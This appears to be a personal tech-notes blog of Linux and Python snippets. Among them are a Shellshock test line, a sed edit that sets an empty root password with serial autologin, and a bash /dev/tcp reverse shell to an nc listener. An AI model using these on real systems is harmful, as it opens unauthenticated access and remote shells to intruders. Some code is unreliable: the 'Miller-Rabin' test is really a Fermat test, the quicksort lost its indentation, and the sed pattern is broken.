tisdag 19 januari 2016

To ssh via a socks tunnel:

ssh -o ProxyCommand='nc -x myproxyserver.example.com:1080 %h %p' \ targetsshserver.example.com
This can be used 

tisdag 30 september 2014

bash vulnerability test


env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

torsdag 10 juli 2014

Floating point numbers ...

Floating point numbers have some unexpected properties.

Try this in your favourite language (if it has real floats)

Python:
>>> print 0.1 + 0.2 == 0.3
False
 C:
#include <stdio.h>
int main() {  printf("%s\n", 0.1 + 0.2 == 0.3 ? "True" : "False");

$ gcc float.c -o float && ./float 
False 



fredag 4 juli 2014

Installing a specific branch of a python package with pip



pip install --user 'git+git://github.com/llvmpy/llvmpy@llvm-3.4'

onsdag 14 maj 2014

Parallela16 temperature

Reading the temperature for the Xilinx Zynq chip is done as described in http://forums.parallella.org/viewtopic.php?t=930

with


python -c "T=open('/sys/bus/iio/devices/iio:device0/in_temp0_raw').read(); T = (float(T) / 4096. * 503.975) - 273.15; print T"


tisdag 28 januari 2014

ARM debugging with Qemu and gdb

To set up a pty to capture the serial port info, use socat
socat -d -d pty  pty
which prints out which pty to connect Qemu's virtual serial port to, for instance /dev/pts/1, and the other pty, for instance /dev/pty/6, to which one may for instance attach a GNU Screen
screen /dev/pty/6
Now run Qemu
QEMU_AUDIO_DRV=none qemu-system-arm \
-cpu cortex-a15 -machine vexpress-a15 \
-kernel /tmp/vmlinuz-3.10 -append "earlyprintk console=tty1 console=ttyAMA0" \
-nographic \
-gdb tcp:localhost:1234 -S -serial /dev/pts/1

which tells Qemu to start a gdb-server at port 1234 and wait (-S) until a gdb server attaches.

Make sure to have a gdb configured for arm targets, compiled with
./configure --target=arm-linux-gnueabi
make
and run it.  Connect to the qemu gdb-server with
target remote :1234 
To see the machine code, type
C-x a
to enable the terminal interface that shows code cursor, and enable asm with
layout asm

 


måndag 29 april 2013

Enabling a bridge interface when you're on nfs root

When you enable a bridge interface with brctl from bridge-utils you loose network connectivity for a short while. This means trouble if you use nfs root or something that needs to have network to load the next command,  or acces other files or directories.

Here's what to do.  Warning!  Understand what you do. If you are working logged in remotely and it screws up, you'll have to reboot the machine, because it has lost its access to the nfs root file system!

Anyway, here we go:

We must create a small rootfs on a directory that is not nfsrooted such as a tmpfs (a ram-based file system), there is often one mounted already. Look for one with mount.

I have a tmpfs mounted at /run.  I notice that it is mounted as 'noexec' which means that I can't run commands from it.  To solve that, remount it with the exec option set.
Then make a root dir called /run/root  for instance.
Then copy over /lib and /bin  (we don't need all of it, but we're lazy, remember!).
Put the stuff we need to do in a script file in the temp root, and then execute it from a chroot with busybox (or sh if you have put everything you need into the chroot).  Make sure that you actually have busybox.

Here is what I have in my script (https://gist.github.com/anonymous/5480567):


fredag 15 mars 2013

Pure python sin

Pure python sin up to 6 decimals (nine degree Taylor expansion, no recursion, 11 mult, 1 div)



"""
f(x) = f(x)+f'(x)*x+f''(x)/2!*(x**2)+...

if f(x) = sin(x)

around 0 is
f(x) = sin(0)+cos(0)*x-sin(0)/2*x2-cos(0)/3!*x3+sin(0)/4!*x4+cos(0)/5!*x5+...
 =  x-x**3/6.+x**5/120.+...
"""

# constants
pi = 3.14159265358979
pi2 = pi / 2
k1 = 1. / (2 * 3)
k2 = 1. / (4 * 5)
k3 = 1. / (6 * 7)
k4 = 1. / (8 * 9)

def sin(x):
    s = 1.0
    if x < 0.0:
        s = -s
        x = -x
    if x > pi2:
        n = int(x / pi2)
        x = x - pi2 * float(n)
        if n & 1: x = pi2 - x
        if n & 2: x = -x
    x2 = x * x
    return s*(x*(1.-k1*x2*(1.-k2*x2*(1.-k3*x2*(1.-k4*x2)))))

måndag 4 mars 2013

Set LC_ALL once and for all...

To get rid of the annoying messages in ubuntu complaining about things like


perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
        LANGUAGE = (unset),
        LC_ALL = (unset),
        LC_CTYPE = "UTF-8",
        LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory


you should do

sudo locale-gen en_US.UTF-8
sudo dpkg-reconfigure locales

fredag 8 februari 2013

Install tiny webserver on archlinux


# pacman -S darkhttpd
# mkdir /var/httpd
# chmod a+rx /var/httpd
# echo > /var/httpd/start-server.sh \
    'darkhttpd /var/httpd --log /var/log/httpd.log --uid daemon  --chroot --daemon'
# chmod 0700 /var/httpd/start-server.sh
# echo Hello > index.html
# chmod a+r index.html
# /var/httpd/start-server.sh

torsdag 31 januari 2013

Multiple ipv6 addresses on an interface

To prevent being tracked on the intertubes, ipv6 has security extensions that, (if they are enabled via sysctl net.ipv6.conf.all somewhere), from time to time creates random a address, and expire the old ones for outgoing traffic. To see the addresses do

ip -6 addr

and look for temporary.  The expired addresses (that still work) have the word "deprecated".  If you get sick of seeing them, delete an address from an interface with

ip -6 addr del dev eth0

or delete all deprecated addresses like this

ip -6 addr | awk '/deprecated/ {print "ip -6 addr del " $2 " dev eth0"}' | sudo bash -s

Virtual X11 display

x11vnc -create -forever -localhost

-create launches Xvfb  (on DISPLAY=:20 or something like that)
-forever enables reconnection
-localhost only listens to local connections, so you'll have to forward the port (5900+nr) for instance over ssh.

Then one may need a windowmanager too, for instance

DISPLAY=:10 fluxbox

You may put fluxbox in the .xinitrc file too.

torsdag 17 januari 2013

posting to xen-devel


example

git format-patch 73edc26b69803cdbce62513c7be8010c829e4274^..73edc26b69803cdbce62513c7be8010c829e4274

git send-email --in-reply-to '<1358428780 .13856.57.camel=".13856.57.camel" zakaz.uk.xensource.com="zakaz.uk.xensource.com">' --from lra@sics.se --to xen-devel@lists.xensource.com --smtp-server smtp.sics.se  0001-Set-register-values-and-comment-in-early-init_uart-t.patch



tisdag 15 januari 2013

inplace quicksort in python



https://gist.github.com/4537928


def quicksort(l):
work = [(0,len(l)-1)]
while work:
(left,right) = work.pop()
if right < left: 
continue
i_piv = left
piv = l[i_piv]
l0,r0 = left, right
while left < right:
while l[left] <= piv and left < right: left += 1
while l[right] > piv: right -= 1
if left < right: l[left], l[right] = l[right], l[left]
l[i_piv], l[right] = l[right], piv
work.append((l0,right-1))
work.append((right+1,r0))



onsdag 19 december 2012

Python is_prime using Miller-Rabin


from random import randrange

def is_prime(n, trials=6):
    """ Miller-Rabin probabilistic prime test.
    """
    if n < 2:
        return False
    i = 0
    while i < trials:
        i+=1
        a = randrange(1, n)
        if pow(a, n-1, n) != 1: # (a**(n-1)) % n
            return False
    return True

# or as a tiny-font-one-liner


def is_prime(n, trials=6):
    return n >= 2 and (trials == 0 or (pow(randrange(1, n), n-1, n) == 1 and is_prime(n, trials - 1)))

onsdag 12 december 2012

uboot pogoplug netconsole

I used this tip to set up my pogoplug to send the uBoot prompt
via udp to my laptop
(see: Use netconsole to troubleshoot uBoot without a serial cable
 http://forum.doozan.com/read.php?3,14,14)

Now, to get the boot prompt from pogoplug (192.168.1.74) to my laptop (192.168.1.72)
I do (on my laptop)


ifconfig en0 alias 192.168.1.72 255.255.255.0

to set an ip alias (remove with -alias), and then

nc -lu 192.168.1.72 6666 & nc -u 192.168.1.74 6666

to communicate with the pogoplug.


tisdag 18 september 2012

Make linux prefer IPv4 connections

Sometimes a DNS name resolves to both an IPv6 and and IPv4 address.  How do you force a program to choose for instance IPv4 over IPv6.

The answer is to change the file /etc/gai.conf which controls the getaddrinfo() (see man gai.conf)

For instance, append


precedence ::ffff:0:0/96  100
at the end of /etc/gai.conf to give high priority to A records.  The filters can also be more specific and made to apply only to specific addresses or subnets.  It doesn't seem to be able to change on a per-process basis with this approach (and of course it requires you to have root privileges to modify /etc/gai.conf).

Thanks to Lmwangi at http://unix.stackexchange.com/questions/9940/convince-apt-get-not-to-use-ipv6-method



tisdag 4 september 2012

Passwordless account

To create a user with an empty password, the user must first exist in /etc/passwd and /etc/shadow.

The hash of the empty password is U6aMy0wojraho (0 is a zero...) and it should be entered in the second field in the row in /etc/shadow, for instance with

sed -i 's/^root:[^:]:/root:U6aMy0wojraho:/' /etc/shadow

or usermod, or you create a new user with

useradd myuser -p U6aMy0wojraho


To have a terminal (for instance the terminal on the serial port) automatically login without password, add

--autologin root

after the ttyS0 getty entry in /etc/inittab or in the file /etc/init/ttyS0.conf on ubuntu.

Remote shell via bash /dev/tcp socket pipes

On the local machine, listen to a port with nc

nc -l 8080


On the remote machine, connect the tcp connection to a file descriptor, i.e. 4 and connect a bash to it that is using that file descriptor as input and output, and also send stderr to the pipe (it's easier if one can see the error messages).

exec 4<>/dev/tcp/local.machine.com/8080
bash <&4 >&4 2>&4

Now the local machine can issue commands on the remote machine.

Note that /dev/tcp is something that bash makes up, it is not in /dev.